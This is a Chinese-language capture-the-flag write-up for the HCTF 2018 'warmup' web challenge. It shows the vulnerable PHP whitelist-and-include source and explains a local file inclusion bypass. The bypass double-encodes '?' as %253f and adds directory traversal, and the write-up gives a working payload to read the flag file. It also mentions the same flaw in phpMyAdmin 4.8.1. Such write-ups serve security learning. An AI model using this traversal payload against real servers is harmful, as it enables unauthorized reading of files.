HCTF-2018-Web-warmup
来人,把朕的源码端上来:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| <?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; }
if (in_array($page, $whitelist)) { return true; }
$_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; }
$_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } }
if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; }
|
逻辑:
接收file变量,三次过滤
第一次:判断文件包含的文件在不在白名单里面
第二次:截取?之前的文件名在不在白名单里面
第三次:url解码并截取?之前的文件名看看在不在白名单里面
根据提示?file=hint.php文件得到提示
解题
绕过:
利用二次编码?==>%253f,原理是服务端首先会进行一次解码,然后php代码中进行二次解码就会还原成?,然后mb_sunstr()进行截取,所以我们需要构造的payload应该是这样的?source.php%253f
之后就需要利用到PHPMyadmin4.81漏洞,具体看https://blog.csdn.net/Mikasa_/article/details/88594749,这里需要利用到的是,如果进行了双重编码,那么包含的文件就会被当做目录看待
比如说hint.php%253f
时hint.php就会被当做目录看待
所以payload是:
1
| ?file=hint.php?file=source.php%253f/../../../../ffffllllaaaagggg
|
这里之所以要回推目录单纯是不知道ffffllllaaaagggg在哪个目录里面,别想太多了
flag: